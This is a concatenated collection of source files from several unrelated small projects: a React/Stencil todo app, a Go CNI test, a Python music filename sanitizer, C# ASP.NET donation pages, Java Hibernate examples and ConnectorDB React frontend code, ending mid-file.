clearCompleted: EventEmitter;
render(): any;
}
<file_sep>import React, {useState} from 'react';
export const defaultState = {
filter: 'all',
todos: []
};
export function useTodoList(initialState = defaultState) {
const [filter, setFilter] = useState(initialState.filter);
const [todos, setTodo] = useState(initialState.todos);
return {
filterList: ['all', 'active', 'completed'],
onSetFilter: value => setFilter(value),
get todos() {
switch (filter) {
case 'active':
return todos.filter(({ completed }) => !completed);
case 'completed':
return todos.filter(({ completed }) => completed);
case 'all':
default:
return todos;
}
},
get filter() {
return filter;
},
get numberOfTodos() {
return todos.length;
},
get numberOfActiveTodos() {
return todos.filter(({ completed }) => !completed).length;
},
get numberOfCompletedTodos() {
return todos.filter(({ completed }) => completed).length;
},
onTodoTitleChange: index => value => {
if (!value) {
setTodo(todos.filter((todo, i) => index !== i));
} else {
setTodo(
todos.map((todo, i) => {
if (i === index) {
todo.title = value;
}
return todo;
})
);
}
},
// Todo list action handler
onCheckTodo: index => e => {
setTodo(
todos.map((todo, i) => {
if (i === index) {
todo.completed = e.target.checked;
}
return todo;
})
);
},
onCheckAllTodo: e => {
setTodo(
todos.map(todo => {
todo.completed = e.target.checked;
return todo;
})
);
},
onRemoveTodo: index => () => {
setTodo(todos.filter((todo, i) => index !== i));
},
onSubmitTodo: title => {
const trimmedTitle = (title || '').trim();
if (trimmedTitle) {
setTodo([
...todos,
{
title: trimmedTitle,
completed: false
}
]);
}
},
onClearCompletedTodo: () => {
setTodo(todos.filter(({ completed }) => !completed));
}
};
}
export const TodoStoreProvider = ({ children }) => {
const todoStore = useTodoList();
return (
<TodoStoreContext.Provider value={todoStore}>
{children}
</TodoStoreContext.Provider>
);
};
export const TodoStoreContext = React.createContext();
<file_sep># todo-filters
<!-- Auto Generated Below -->
## Properties
| Property | Attribute | Description | Type | Default |
| -------------- | --------------- | ----------- | --------- | ------- |
| `anyCompleted` | `any-completed` | | `boolean` | `false` |
| `filter` | `filter` | | `string` | `'all'` |
## Events
| Event | Description | Type |
| ----------------- | ----------- | ------------------ |
| `clear-completed` | | `CustomEvent<any>` |
| `set-filter` | | `CustomEvent<any>` |
----------------------------------------------
*Built with [StencilJS](https://stenciljs.com/)*
<file_sep>import React from 'react';
import ReactDOM from 'react-dom';
import useCustomElement from 'use-custom-element';
import { TodoStoreProvider, TodoStoreContext } from '../store';
const TodoInput = () => {
const { onSubmitTodo } = React.useContext(TodoStoreContext);
const [customElementProps, ref] = useCustomElement({
'input-submit': onSubmitTodo
});
return <todo-input autofocus {...customElementProps} ref={ref} />;
};
const TodoItem = ({ title, completed, onChecked, onRemove, onTitleChange }) => {
const [customElementProps, ref] = useCustomElement({
text: title,
completed,
'item-check': onChecked,
'item-remove': onRemove,
'item-changed': onTitleChange
});
return <todo-item {...customElementProps} ref={ref} />;
};
const TodoMain = () => {
const { numberOfTodos } = React.useContext(TodoStoreContext);
return numberOfTodos ? (
<section className="main">
<TodoList />
</section>
) : null;
};
export const TodoList = () => {
const {
todos,
numberOfTodos,
numberOfCompletedTodos,
onRemoveTodo,
onCheckTodo,
onCheckAllTodo,
onTodoTitleChange
} = React.useContext(TodoStoreContext);
const [todoToggleProps, ref] = useCustomElement({
'toggle-all': e => onCheckAllTodo(e),
checked: numberOfTodos === numberOfCompletedTodos
});
return (
<>
<todo-toggle {...todoToggleProps} ref={ref} />
<ul className="todo-list">
{todos.map((todo, i) => (
<TodoItem
key={i}
{...todo}
onTitleChange={onTodoTitleChange(i)}
onRemove={onRemoveTodo(i)}
onChecked={onCheckTodo(i)}
/>
))}
</ul>
</>
);
};
const TodoCount = () => {
const { numberOfActiveTodos } = React.useContext(TodoStoreContext);
return <todo-count number-of-active-todos={numberOfActiveTodos} />;
};
const TodoFilters = () => {
const {
filter,
onSetFilter,
onClearCompletedTodo,
numberOfCompletedTodos
} = React.useContext(TodoStoreContext);
const [customElementProps, ref] = useCustomElement({
filter,
'set-filter': onSetFilter,
'clear-completed': onClearCompletedTodo,
'any-completed': numberOfCompletedTodos > 0
});
return <todo-filters {...customElementProps} ref={ref} />;
};
const TodoFooter = () => {
const { numberOfTodos } = React.useContext(TodoStoreContext);
return numberOfTodos ? (
<footer className="footer">
<TodoCount />
<TodoFilters />
</footer>
) : null;
};
function App() {
return (
<TodoStoreProvider>
<div className="App todoapp">
<header className="header">
<h1>{'todos'}</h1>
<TodoInput />
</header>
<TodoMain />
<TodoFooter />
</div>
</TodoStoreProvider>
);
}
var mountNode = document.getElementById('app');
ReactDOM.render(<App />, mountNode);
<file_sep>export declare class TodoCount {
numberOfActiveTodos: number;
render(): any;
}
<file_sep>import { EventEmitter } from '../../../dist/types/stencil.core';
export declare class TodoToggle {
checked: boolean;
toggleAll: EventEmitter;
render(): any;
}
<file_sep>declare const _default: {
title: string;
decorators: ((...args: any) => any)[];
};
export default _default;
export declare const todoList: () => string;
<file_sep># Cypress test for TODO MVC
This REPO is a fork of https://github.com/cypress-io/cypress-example-todomvc
<file_sep>declare const _default: {
title: string;
decorators: ((...args: any) => any)[];
};
export default _default;
export declare const oneTodo: () => string;
export declare const multipleTodos: () => string;
<file_sep>import Vue from 'vue';
import App from './AppStencil.vue';
var filters = {
all: function(todos) {
return todos;
},
active: function(todos) {
return todos.filter(function(todo) {
return !todo.completed;
});
},
completed: function(todos) {
return todos.filter(function(todo) {
return todo.completed;
});
}
};
const VueApp = new Vue(App);
function onHashChange() {
var visibility = window.location.hash.replace(/#\/?/, '');
if (filters[visibility]) {
VueApp.visibility = visibility;
} else {
window.location.hash = '';
VueApp.visibility = 'all';
}
}
window.addEventListener('hashchange', onHashChange);
onHashChange();
VueApp.$mount('#app');
<file_sep>import { E2EElement, E2EPage, newE2EPage } from '@stencil/core/testing';
describe('todo-count', () => {
let page: E2EPage;
let element: E2EElement;
beforeEach(async () => {
page = await newE2EPage({
html: `
<todo-count number-of-active-todos="1"></todo-count>
`
});
element = await page.find('todo-count');
});
it('should work with one item', async () => {
expect(element.innerText).toEqualText('1 item left');
});
it('should with multiple items', async () => {
element.setProperty('numberOfActiveTodos', '2');
await page.waitForChanges();
expect(element.innerText).toEqualText('2 items left');
});
});
<file_sep>import { EventEmitter } from '../../../dist/types/stencil.core';
export declare class TodoList {
todos: string;
checkTodo: EventEmitter;
removeTodo: EventEmitter;
changeTodo: EventEmitter;
render(): any;
}
| 2d74a3192ad02badece1f372a3c1e84fc4cd2837 | [
"Markdown",
"JSON",
"TypeScript",
"JavaScript"
] | 22 | TypeScript | jagreehal/todo-mvc-refactor-stencil-web-components | 5ccca027d19edd9687fe64fe140de96e7178a6de | 0abb04fe9e8a3590b275e795a7a948f55ec7e1a7 |
refs/heads/master | <file_sep>package main
import (
"flag"
"fmt"
"github.com/rajatchopra/ocicni"
)
func init() {
flag.Parse()
}
func main() {
plugin, err := ocicni.InitCNI("")
if err != nil {
fmt.Printf("Error in finding/initializing plugin: %v", err)
return
} else {
fmt.Printf("Plugin %v found!\n", plugin)
}
err = plugin.SetUpPod("my_netnamespace", "my_namespace", "my_name", "my_containerid")
if err != nil {
fmt.Printf("Error in calling SetUpPod: %v\n", err)
return
} else {
fmt.Println("Setup called without error")
}
return
}
| 45b8a1554b196ca6040d9981e307b1c3a3a55cd6 | [
"Go"
] | 1 | Go | rajatchopra/ocicni | f649c50cb666c10ad7a432d5fd17052f1101dd7e | 0f34b5e819eccbc9ce89635e7aa56918ed128809 |
refs/heads/master | <repo_name>yazanobeidi/music_sanitizer<file_sep>/README.md
# music_sanitizer
Cleanse media filename and correct metadata
usage: python sanitize.py [-h] [-d _DELETE] [-r REPLACE] dir
Mp3 and FLAC filename fixer
positional arguments:
dir Absolute file directory
optional arguments:
-h, --help show this help message and exit
-d _DELETE, --delete _DELETE
Strings to delete, separated by comma. E.g.:
Frank,Sinatra,delete,this,message
-r REPLACE, --replace REPLACE
Strings to replace, separated by comma, match:replace
separated by colon. E.g.:
change:to,ALBUM:album,replace:Replace
<file_sep>/sanitize.py
import os
import argparse
__author__ = 'yazan'
def main(args):
for i, filename in enumerate(os.listdir(args.dir)):
print "Scanning {}".format(args.dir)
if filename.endswith(".mp3") or filename.endswith(".flac"):
new_file = filename
if args.replace:
for repl in args.replace.split(','):
a, b = tuple(repl.split(':'))
new_file = new_file.replace(a, b)
if args._delete:
for d in args._delete.split(','):
new_file = new_file.replace(d, "")
if new_file.startswith("-"):
new_file = new_file[1:]
new_full_path = os.path.join(args.dir, new_file)
full_path = os.path.join(args.dir, filename)
os.rename(full_path, new_full_path)
print "Modified: {} => {}".format(filename, new_file)
print "Sucessfully moodified {} files.".format(i)
if __name__ == "__main__":
""" This is executed when run from the command line """
parser = argparse.ArgumentParser(description='Mp3 and FLAC filename fixer')
# Optional argument which requires a parameter (eg. -d test)
parser.add_argument("dir", help="File directory, full path")
# Optional argument which requires a parameter (eg. -d test)
parser.add_argument("-d", "--delete", action="store", dest="_delete", help="Strings to delete, separated by comma. E.g.: Frank,Sinatra,delete,this,message")
# Optional argument which requires a parameter (eg. -d test)
parser.add_argument("-r", "--replace", action="store", dest="replace", help="Strings to replace, separated by comma, match:replace separated by colon. E.g.: change:to,ALBUM:album,replace:Replace")
args = parser.parse_args()
main(args)
| 10f80a1109df9dabc42d5823ef3b63f32d1c0e08 | [
"Markdown",
"Python"
] | 2 | Markdown | yazanobeidi/music_sanitizer | fc7ce04d7baba248466429769fabe6569786bc04 | 026dc9611ec2694c802c856ca640d1444aa33c38 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
/// <summary>
/// Summary description for ViewDonation
/// </summary>
public class ViewDonation
{
Customer c;
int pk;
SqlConnection connect;
public ViewDonation(int PersonKey)
{
pk = PersonKey;
connect = new SqlConnection(ConfigurationManager.ConnectionStrings["CommunityAssistConnectionString"].ConnectionString);
}
public DataTable GetCustomer()
{
Customer c = new Customer();
string sql = "Select DonationDate, DonationAmount from Donation d inner join Person p on d.PersonKey=p.PersonKey where d.PersonKey=@personKey";
SqlCommand cmd = new SqlCommand(sql, connect);
cmd.Parameters.AddWithValue("@personKey", pk);
SqlDataReader reader;
DataTable dt = new DataTable();
connect.Open();
reader = cmd.ExecuteReader();
if (reader.HasRows)
{
dt.Load(reader);
}
reader.Close();
connect.Close();
return dt;
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
/// <summary>
/// Summary description for ManageCustomer
/// </summary>
public class ManageCustomer
{
SqlConnection connect;
public ManageCustomer()
{
connect = new SqlConnection(ConfigurationManager.ConnectionStrings["CommunityAssistConnectionString"].ConnectionString);
}
public void WriteCustomer(Customer c)
{
string sqlPerson = "Insert into Person(PersonLastName, PersonFirstName,PersonUserName,PersonPlainPassword,Personpasskey,PersonUserPassword,PersonEntryDate) Values(@LastName, @FirstName, @UserName, @PlainPassword, @Passcode, @HashedPassword, @EntryDate)";
string sqlPersonAddress = "Insert into PersonAddress(Street, Apartment, City, State, Zip, Personkey) " + "Values(@Street, @Apartment, @City, @State, @Zip, ident_Current('Person'))";
PasscodeGenerator pg = new PasscodeGenerator();
PasswordHash ph = new PasswordHash();
int Passcode = pg.GetPasscode();
SqlCommand personCmd = new SqlCommand(sqlPerson, connect);
personCmd.Parameters.AddWithValue("@FirstName", c.FirstName);
personCmd.Parameters.AddWithValue("@LastName", c.LastName);
personCmd.Parameters.AddWithValue("@UserName", c.Email);
personCmd.Parameters.AddWithValue("@PlainPassword", c.PlainPassword);
personCmd.Parameters.AddWithValue("@Passcode", Passcode);
personCmd.Parameters.AddWithValue("@HashedPassword", ph.HashIt(c.PlainPassword.ToString(), Passcode.ToString()));
personCmd.Parameters.AddWithValue("@EntryDate", DateTime.Now);
SqlCommand addressCmd = new SqlCommand(sqlPersonAddress, connect);
addressCmd.Parameters.AddWithValue("@Street", c.Street);
addressCmd.Parameters.AddWithValue("@Apartment", c.Apartment);
addressCmd.Parameters.AddWithValue("@City", c.City);
addressCmd.Parameters.AddWithValue("@State", c.State);
addressCmd.Parameters.AddWithValue("@Zip", c.Zip);
connect.Open();
personCmd.ExecuteNonQuery();
addressCmd.ExecuteNonQuery();
connect.Close();
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
public partial class Welcome : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Session["person"] != null)
{
lblWelcome.Text = "Welcome.";
GetDonationInfo();
}
else
{
Response.Redirect("Default.aspx");
}
}
private void GetDonationInfo()
{
int pk = (int)Session["person"];
ViewDonation vd = new ViewDonation(pk);
DataTable dt = vd.GetCustomer();
GridView1.DataSource = dt;
GridView1.DataBind();
}
protected void lbDonation_Click(object sender, EventArgs e)
{
Response.Redirect("GetDonations.aspx");
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
/// <summary>
/// Summary description for Login
/// </summary>
public class Login
{
SqlConnection connect;
public Login()
{
connect = new SqlConnection(ConfigurationManager.ConnectionStrings["CommunityAssistConnectionString"].ConnectionString);
}
public int ValidateLogin(string user, string pass)
{
int result = 0;
PasswordHash ph = new PasswordHash();
string sql = "Select PersonKey, Personpasskey, PersonUserPassword From Person Where PersonUserName = @UserName";
SqlCommand cmd = new SqlCommand(sql, connect);
cmd.Parameters.Add("@UserName", user);
SqlDataReader reader;
int passCode = 0;
byte[] originalPassword = null;
int personKey = 0;
connect.Open();
reader = cmd.ExecuteReader();
if (reader.HasRows)
{
while(reader.Read())
{
passCode = (int)reader["Personpasskey"];
originalPassword = (byte[])reader["PersonUserPassword"];
personKey = (int)reader["PersonKey"];
}
byte[] newhash = ph.HashIt(pass, passCode.ToString());
if(newhash.SequenceEqual(originalPassword))
{
result = personKey;
}
else
{
}
}
connect.Close();
return result;
}
}
/*
get password and username
go to database
set the passcode, hash and personkey for that username
hash the password and code
check to see if new hash matches the database
if it does - return the person key
if not - return 0
*/
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
public partial class GetDonations : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void btnSubmit_Click(object sender, EventArgs e)
{
Customer c = new Customer();
c.Donation = txtDonation.Text;
ManageDonation md = new ManageDonation(c);
int pk = (int)Session["person"];
md.WriteDonation(pk);
Response.Redirect("Welcome.aspx");
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
/// <summary>
/// Summary description for ManageDonation
/// </summary>
public class ManageDonation
{
Customer c;
SqlConnection connect;
public ManageDonation(Customer cust)
{
c = cust;
connect = new SqlConnection(ConfigurationManager.ConnectionStrings["CommunityAssistConnectionString"].ConnectionString);
}
public void WriteDonation(int personKey)
{
string sqlDonation = "Insert into Donation(DonationAmount, DonationDate, PersonKey) " + "Values(@Donation, @DonDate, @personKey)";
SqlCommand donationCmd = new SqlCommand(sqlDonation, connect);
donationCmd.Parameters.AddWithValue("@personKey", personKey);
donationCmd.Parameters.AddWithValue("@Donation", c.Donation);
donationCmd.Parameters.AddWithValue("@DonDate", DateTime.Now);
connect.Open();
donationCmd.ExecuteNonQuery();
connect.Close();
}
} | 02088fd7fcfa26b87033bd6af836fcf41ac19b9d | [
"C#"
] | 6 | C# | Ravnsara/Assignment4 | 3d6dec14b8de151457ae3604c1d95594d92b9ad6 | bcb0500b85dbea440dddaa91d4417cb854b26eb1 |
refs/heads/master | <file_sep>package dao.servicios.aumentar.salario;
import java.util.List;
import codegeneration.Employees;
public class EmployeesDAO extends SuperClassDAO{
public EmployeesDAO () {
super();
}
@SuppressWarnings("unchecked")
public List<Employees> getListEmployees() {
List<Employees> list_employees = null;
try {
list_employees = this.getSession().createSQLQuery(InstruccionesSQL.CONSULTAR_TODOS).addEntity(Employees.class).list();
} catch (Exception e) {
// TODO: handle exception
}
return list_employees;
}
}
<file_sep>package serializacion;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main {
public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException {
// SERIALIZACIÓN --> Escribimos en el fichero
Persona p1 = new Persona("Enry", (byte)28);
Persona p2 = new Persona("Alex", (byte)25);
Persona p3 = new Persona("JJ", (byte)22);
ObjectOutputStream salida = new ObjectOutputStream(new FileOutputStream("Serializar.dat"));
salida.writeObject(p1);
salida.writeObject(p2);
salida.writeObject(p3);
salida.close();
//------------------------------------------------------------------------------------------------
// DESERIALIZACIÓN --> Leemos del fichero
ObjectInputStream entrada = new ObjectInputStream(new FileInputStream("Serializar.dat"));
p1 = (Persona)entrada.readObject();
p2 = (Persona)entrada.readObject();
p3 = (Persona)entrada.readObject();
entrada.close();
System.out.println(p1);
}
}
<file_sep>package dao.servicios.aumentar.salario;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.boot.registry.StandardServiceRegistryBuilder;
import org.hibernate.cfg.Configuration;
public class SessionManager {
static {//el bloque de código encerrado en esta llaves static sólo se ejecutará una vez; la primera que es invocada esta clase SessionManager!!!
//CREAMOS LA CONFIGURACIÓN Y EL SESIÓN FACTORY
Configuration configuration = new Configuration().configure();
StandardServiceRegistryBuilder builder = new StandardServiceRegistryBuilder().applySettings(configuration.getProperties());
factory = configuration.buildSessionFactory(builder.build());
}
private static SessionFactory factory;
private SessionManager (){}
public static SessionFactory getSessionFactory () {
return factory;
}
public static Session getNewSession () {
return factory.openSession();
}
public static void closeSession (Session sesion) {
sesion.close();
}
}
<file_sep>package properties;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileWriter;
import java.io.IOException;
import java.util.Iterator;
import java.util.Properties;
/**
* Nuestro programa genera un cuento en diferentes idiomas. El idioma elegido
* por el usuario, viene como parámetro por línea de comandos pudiendo ser IT,
* ES o EN. Se pide: cargar el fichero apropiado en función de la entrada y
* generar el cuento en un fichero de salida indicado
*
* @author alumno
*
*/
public class Practica1 {
private Properties propiedades = null;
private String eleccion = null;
private String rutaproperties = null;
private String salida = null;
public Practica1(String language) {
this.eleccion = language;
}
private enum Idioma {
IT, ES, EN
}
public void elegirIdiomaCuento() {
switch (this.eleccion) {
case "IT":
// lengua = Idioma.IT;
rutaproperties = "src/FilesProperties/story_it.properties.txt";
salida = "src/FilesProperties/cuentoIT.txt";
break;
case "ES":
// lengua = Idioma.ES;
rutaproperties = "src/FilesProperties/story_es.properties.txt";
salida = "src/FilesProperties/cuentoES.txt";
break;
case "EN":
// lengua = Idioma.EN;
rutaproperties = "src/FilesProperties/story_en.properties.txt";
salida = "src/FilesProperties/cuentoEN.txt";
break;
default:
System.out.println("Idioma Inválido");
break;
}
}
public void loadProperties() throws FileNotFoundException, IOException {
this.propiedades = new Properties();
propiedades.load(new FileInputStream(rutaproperties));
}
public void escribirFichero() throws IOException {
String cuento = null;
FileWriter fw = null;
cuento = this.propiedades.getProperty("start") + " "
+ this.propiedades.getProperty("body") + " "
+ this.propiedades.getProperty("end");
fw = new FileWriter(new File(salida));
fw.write(cuento);
fw.close();
}
}
| 853f3141dc3d9597ff06260472ad26f2e72a644d | [
"Java"
] | 4 | Java | enrysix/Clase703 | bd1f634cc9a3ba569dfca9bcd3006b4a9502be1a | 0ca8e43a27dcdb623e0345d7516a508b138fb75a |
refs/heads/main | <repo_name>cachemeoutside/scripts<file_sep>/README.md
# scripts
Repo for helper scripts I use...
<file_sep>/ucla/convert.go
package main
import (
"fmt"
"gopkg.in/yaml.v2"
"io/ioutil"
)
type T struct {
VPN []string `yaml:"ucla_vpn_networks",omitempty"`
LIB []string `yaml:"ucla_library_staff_networks",omitempty"`
}
func main() {
t := T{}
yamlFile, err := ioutil.ReadFile("/Users/avuong/ucla-workspace/github/ansible_uclalib_configs/group_vars/all/main.yml")
err = yaml.Unmarshal(yamlFile, &t)
if err != nil {
fmt.Println(err)
}
fmt.Println(t.VPN)
fmt.Println(t.LIB)
}
| 31fe13b48e4a1042b8771fd67928010933377b76 | [
"Markdown",
"Go"
] | 2 | Markdown | cachemeoutside/scripts | 6ef33089b816355ad933fa6f2a31b00bbd19ad26 | 4b5fb99ce383eab3b56ea1b3e45e240bab57f524 |
refs/heads/main | <file_sep>export const environment = {
production: true,
nciHome: 'https://i2e.nci.nih.gov/',
techSupport: '<EMAIL>',
workBenchUrl: 'https://i2e.nci.nih.gov/workbench/WorkbenchView',
nearUrl: 'https://i2e.nci.nih.gov/entmaintreq/'
};
<file_sep>import { Component } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
title = 'fs';
receiveCasValue(event: any) {
console.log("receive CAS value:"+event);
}
receivePdIdValue(event: any) {
console.log("receive PD Id value:"+event);
}
}
| fe7e9b810a6e92dac693eb9c15fc3ef3c4c7ba87 | [
"TypeScript"
] | 2 | TypeScript | binli-itg/sm_fs | 267119fe8aa2fcd476e9c005c766beaf5ba819a9 | bec326f393b56b4c522238056a8faf3a30284a74 |
refs/heads/master | <file_sep># inputs
The following is a stub for creating a new input:
```javascript
/**
A comment mentioning what your input does.
**/
import React, {Component, PropTypes} from 'react';
// depending on where your code is located, you might need to modify the import location
import {addInput} from '../datatypes';
class MyInput extends Component {
static propTypes = {
user: PropTypes.object.isRequired,
device: PropTypes.object.isRequired,
stream: PropTypes.object.isRequired,
path: PropTypes.string.isRequired, // myuser/mydevice/mystream
schema: PropTypes.object.isRequired, // The schema javascript object
state: PropTypes.object.isRequired, // The state - an object.
onSubmit: PropTypes.func.isRequired, // Send in the data portion of your datapoint here
setState: PropTypes.func.isRequired, // Allows you to set the state
showMessage: PropTypes.func.isRequired // Allows you to show error messages
}
render() {
return (
<div>
<p>Hello World!</p>
</div>
)
}
}
// add the input to the input registry. here, "hello.world" is the datatype
addInput("hello.world", {
width: "expandable-half", // We want the input to be half-width by default, but expandable
component: MyInput
});
```
<file_sep>// MainToolbar is the toolbar shown on the main page, from which you can create new rating streams,
// and so forth
import React, { Component } from "react";
import PropTypes from "prop-types";
import { Card, CardText, CardHeader } from "material-ui/Card";
import FontIcon from "material-ui/FontIcon";
import IconButton from "material-ui/IconButton";
import storage from "../storage";
class Welcome extends Component {
static propTypes = {};
render() {
return (
<Card
style={{
marginTop: "20px"
}}
>
<CardHeader
title={"Welcome!"}
subtitle={"Get started with ConnectorDB"}
/>
<CardText>
<p>
It looks like you don't have any ratings or manual inputs set up
yet. Click on the star icon above (after reading this) to create
your first rating stream.
</p>
<p>
Most data will be gathered automatically by your devices, such as an
android app, or the laptop logger. Make sure to download the
<a href="https://connectordb.io/clients/">
{" "}open-source ConnectorDB clients{" "}
</a>
if you have not done so already. You can also create your own
devices using the
<a href="https://connectordb-python.readthedocs.io/en/latest/">
{" "}python client{" "}
</a>
. If you ever get lost, please refer to the
<a href="https://connectordb.io/docs/">{" "}documentation{" "}</a>.
</p>
<p>
Despite the automatic data gathering, it is very difficult to gain
insight without having a supervision signal. This is where your
manual input is useful. By creating ratings, you can rate your
productivity, mood, or log other things, such as progress towards
goals or a diary. By consistently doing this every day, over time,
you will gain enough data to be able to perform in-depth analysis on
what exactly correlates with your abilities.
</p>
</CardText>
</Card>
);
}
}
export default Welcome;
<file_sep>/*
This shows a line chart of the data given
*/
import { addView } from "../datatypes";
import { generateLineChart, LineChart } from "./components/LineChart";
import {
generateDropdownLineChart,
generateTimeOptions
} from "./components/DropdownLineChart";
import dropdownTransformDisplay from "./components/dropdownTransformDisplay";
import { numeric, objectvalues } from "./typecheck";
const BasicLineView = {
...generateLineChart(),
key: "lineView",
title: "Basic Plot",
subtitle: ""
};
function lineViewGenerator(pretransform = "", within = "") {
return [
{
...generateLineChart(pretransform),
key: "lineView",
title: "Basic Plot",
subtitle: "",
dropdown: pretransform !== ""
? dropdownTransformDisplay("", pretransform)
: undefined
},
{
...generateDropdownLineChart(
"This view averages the datapoint values over the chosen time period",
generateTimeOptions("Average", pretransform, within + "mean"),
1
),
key: "averagedLineView",
title: "Averaged Values",
subtitle: ""
},
{
...generateDropdownLineChart(
"This view sums the datapoint values over the chosen time period",
generateTimeOptions("Sum", pretransform, within + "sum"),
1
),
key: "summedLineView",
title: "Summed Values",
subtitle: ""
}
];
}
const LineView = lineViewGenerator("");
function showLineChart(context) {
if (context.data.length > 1 && context.pipescript !== null) {
let n = numeric(context.data);
if (n !== null && !n.allbool) {
return lineViewGenerator(n.key !== "" ? "$('" + n.key + "')" : "");
}
if (n !== null && n.allbool) {
return lineViewGenerator(
n.key !== "" ? "$('" + n.key + "') | ttrue" : "ttrue"
);
}
let o = objectvalues(context.data);
if (o !== null && Object.keys(o).length <= LineChart.objectColors.length) {
let k = Object.keys(o);
for (let i = 0; i < k.length; i++) {
if (o[k[i]].numeric === null) return null;
}
return BasicLineView;
}
}
return null;
}
addView(showLineChart);
<file_sep>export const setPart1 = s => ({ type: "UPLOADER_PART1", value: s });
export const setPart2 = s => ({ type: "UPLOADER_PART2", value: s });
export const setPart3 = s => ({ type: "UPLOADER_PART3", value: s });
export const setState = s => ({ type: "UPLOADER_SET", value: s });
export const process = () => ({ type: "UPLOADER_PROCESS" });
export const upload = () => ({ type: "UPLOADER_UPLOAD" });
export const clear = () => ({ type: "UPLOADER_CLEAR" });
<file_sep>import React, { Component } from "react";
import "bootstrap-daterangepicker/daterangepicker.css";
import DateRangePicker from "react-bootstrap-daterangepicker";
import moment from "moment";
const defaultTimeRanges = {
Today: [moment().startOf("day"), moment().endOf("day")],
Yesterday: [
moment().subtract(1, "days").startOf("day"),
moment().subtract(1, "days").endOf("day")
],
"Last 7 days": [moment().subtract(7, "days"), moment().endOf("day")],
"This Month": [moment().startOf("month"), moment().endOf("month")],
"Last 30 Days": [moment().subtract(30, "days"), moment().endOf("day")],
"Last 3 Months": [moment().subtract(3, "months"), moment().endOf("day")],
"Last Year": [moment().subtract(1, "year"), moment().endOf("day")]
};
const timeformat = "YYYY-MM-DD hh:mm:ss a";
export const TimePicker = ({ state, setState }) => (
<div>
<h5>
Time Range
{state.bytime !== undefined
? <a
className="pull-right"
style={{
cursor: "pointer"
}}
onClick={() => setState({ bytime: false })}
>
Switch to index range
</a>
: null}
</h5>
<DateRangePicker
startDate={state.t1}
endDate={state.t2}
ranges={defaultTimeRanges}
opens="left"
timePicker={true}
onEvent={(e, picker) =>
setState({ t1: picker.startDate, t2: picker.endDate })}
>
<div
id="reportrange"
className="selected-date-range-btn"
style={{
background: "#fff",
cursor: "pointer",
padding: "5px 10px",
border: "1px solid #ccc",
width: "100%",
textAlign: "center"
}}
>
<i className="glyphicon glyphicon-calendar fa fa-calendar pull-right" />
<span>
{state.t1.format(timeformat)}
{" ➡ "}
{state.t2.format(timeformat)}
</span>
</div>
</DateRangePicker>
</div>
);
export const IndexPicker = ({ state, setState }) => (
<div>
<h5>
Index Range
{state.bytime !== undefined
? <a
className="pull-right"
style={{
cursor: "pointer"
}}
onClick={() => setState({ bytime: true })}
>
Switch to time range
</a>
: null}
</h5>
<h6>
Remember that negative values represent values from the data's end: [-50,0) will give the most recent 50 datapoints.
</h6>
<div
style={{
textAlign: "center"
}}
>
<input
value={state.i1}
type="number"
className="pull-left"
style={{
textAlign: "center"
}}
onChange={e => setState({ i1: e.target.value })}
/>
<input
type="number"
className="pull-right"
style={{
textAlign: "center"
}}
value={state.i2}
onChange={e => setState({ i2: e.target.value })}
/>
<span>{" ➡ "}</span>
</div>
</div>
);
const QueryRange = ({ state, setState }) =>
(state.bytime
? <TimePicker state={state} setState={setState} />
: <IndexPicker state={state} setState={setState} />);
export default QueryRange;
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import Checkbox from "material-ui/Checkbox";
class DownlinkEditor extends Component {
static propTypes = {
value: PropTypes.bool.isRequired,
onChange: PropTypes.func.isRequired
};
render() {
return (
<div>
<h3>Downlink</h3>
<p>
Streams can be configured to have a parallel input stream which can be
used to set goal states (such as turning lights on/off or setting
thermostat temperature). A downlink stream has its normal output, but
also allows intervention.
</p>
<Checkbox
label="Downlink"
checked={this.props.value}
onCheck={this.props.onChange}
/>
</div>
);
}
}
export default DownlinkEditor;
<file_sep>/*
The TopBar is the bar shown at the top of the app, and it includes a search box.
If on mobile, it also shows the hamburger menu (which activates the navigation). This component
is added to the app in Theme.js
*/
import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import { spacing } from "material-ui/styles";
import FontIcon from "material-ui/FontIcon";
import {
Toolbar,
ToolbarGroup,
ToolbarSeparator,
ToolbarTitle
} from "material-ui/Toolbar";
import AutoComplete from "material-ui/AutoComplete";
import IconButton from "material-ui/IconButton";
import IconMenu from "material-ui/IconMenu";
import MenuItem from "material-ui/MenuItem";
import MoreVertIcon from "material-ui/svg-icons/navigation/more-vert";
import NavigationClose from "material-ui/svg-icons/navigation/close";
import { getSearchState, getSearchActionContext } from "../reducers/search";
// setSearchText is called whenever the user changes the search box text. All actions happen through setSearchText
import { setSearchText } from "../actions";
const styles = {
searchbar: {
//marginLeft: "10px",
marginRight: "10px",
marginTop: "10px",
marginBottom: "10px",
background: "#00b34a",
width: "100%",
borderRadius: "5px"
}
};
class TopBar extends Component {
static propTypes = {
navDocked: PropTypes.bool.isRequired,
search: PropTypes.object.isRequired,
hamburgerClick: PropTypes.func,
searchTextChanged: PropTypes.func,
submit: PropTypes.func
};
keypress(txt, idx) {
if (idx == -1) {
this.props.submit();
}
}
render() {
// The search bar can have
let search = this.props.search;
